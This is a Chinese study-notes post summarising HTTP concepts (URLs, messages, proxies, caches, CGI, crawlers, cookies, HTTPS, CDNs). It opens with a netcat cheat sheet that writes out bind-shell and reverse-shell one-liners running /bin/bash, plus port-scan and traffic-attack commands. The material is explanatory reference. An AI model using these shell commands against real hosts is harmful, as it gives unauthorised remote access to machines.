[心得] HTTP权威指南知识整理

nc是netcat的缩写。被誉为网络安全界的瑞士军刀。使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具，
能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几乎所有类型的网络连接。

nc [-options] hostname port[s] [ports] …
　　 nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出–用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉–用于扫描时

基本用法：
1. 连接远程主机nc -nvv 192.168.1.1 8000
2. 监听本地端口nc -l -p 80
3. 扫描远程主机端口nc -nvv -w2 192.168.1.1 80-445
4. 远程主机绑定nc -l -p 8000 -t -e /bin/bash
5. 绑定主机并反向连接nc -t -e /bin/bash 192.168.1.1 8000

高级用法：
1. 流量攻击nc -nvv 192.168.1.1 80 < cmd.txt
2. 用作信息搜集的蜜罐nc -L -p 80

URI ＝ URL ＋ URN

一个HTTP事务由一条请求命令和一个响应结果组成。

HTTP报文（message）是纯文本。

web结构组件
1. 代理：CS之间的HTTP中间实体
2. 缓存：HTTP仓库，使得常用页面的副本可以保存在离客户端更近的地方
3. 网关：连接其他应用程序的特殊web服务器
4. 隧道：对HTTP报文进行盲转发的特殊代理。
5. Agent代理：发起自动HTTP请求的半智能web客户端

URL的语法格式

<scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag>

其中<frag>是小片资源，只在客户端内部使用。

常见scheme如下：
1. http／https
2. mailto
3. ftp
4. rtsp
5. file
6. news
7. telnet

HTTP报文包括起始行start line，头部header，以及主体body。

TRACE请求将在目的服务器端发起一个环回诊断，帮助查找请求如何被修改。

如果一个事务不管执行多少次，得到结果相同，则称这个事务是幂等的。

web服务器的任务：
1. 建立连接
2. 接收请求
3. 处理请求
4. 访问资源
5. 构建响应
6. 发送响应
7. 记录事务处理过程到日志

代理服务器可以改善安全性，提高性能，监视并修改流量。

缓存优点
1. 减少冗余传输
2. 缓解网络瓶颈
3. 降低原始服务器要求
4. 降低距离延时

基本缓存处理过程
1. 接收请求
2. 解析请求
3. 查询资源
4. 新鲜度检测
5. 创建响应
6. 发送响应
7. 记录日志

广告请求会加上no-cache的header，通过CGI网关提供广告，并且在每次访问时重定向URL。

为每条CGI请求创建新进程是CGI技术的局限，fastCGI克服了这一缺陷。

web可以用XML通过SOAP来交换信息。
SOAP: Simple Object Access Protocol，简单对象访问协议
web隧道是用HTTP的CONNECT方法建立起来的。

web机器人是无人干预自处理web事务的软件，也称爬虫，蜘蛛。搜索引擎也可以算是爬虫。爬虫开始访问URI的起始集合称为根集。爬虫需要用搜索树或者散列哈希来快速判断是否已爬取过。这方面有本专著：《海量数据管理：文档和图像压缩与索引》作参考。

爬虫优化的一些常见方法
1. 规范URL防重复
2. 广度优先防陷阱
3. 节流判断跳环路
4. 限制URL长度
5. URL黑名单
6. 环路模式检测
7. 内容校验和

cookie是当前识别用户、实现持久会话session的最好方式。cookie的基本思想就是让浏览器积累一组服务器特有的信息。

HTTPS是最流行大HTTP安全形式，之前出现的基本认证和摘要认证都是后面出现的SSL和TLS的铺垫。
SSL：安全套接层
TLS：传输层安全
OpenSSL是SSL和TLS最常见的开源实现。

网站国际化主要2个问题：字符集编码和语言标记。

对内容资源的存储，协调以及管理对职责统称为Web主机托管。

CDN：内容分发网络，就是对特定内容进行分发的专门网络。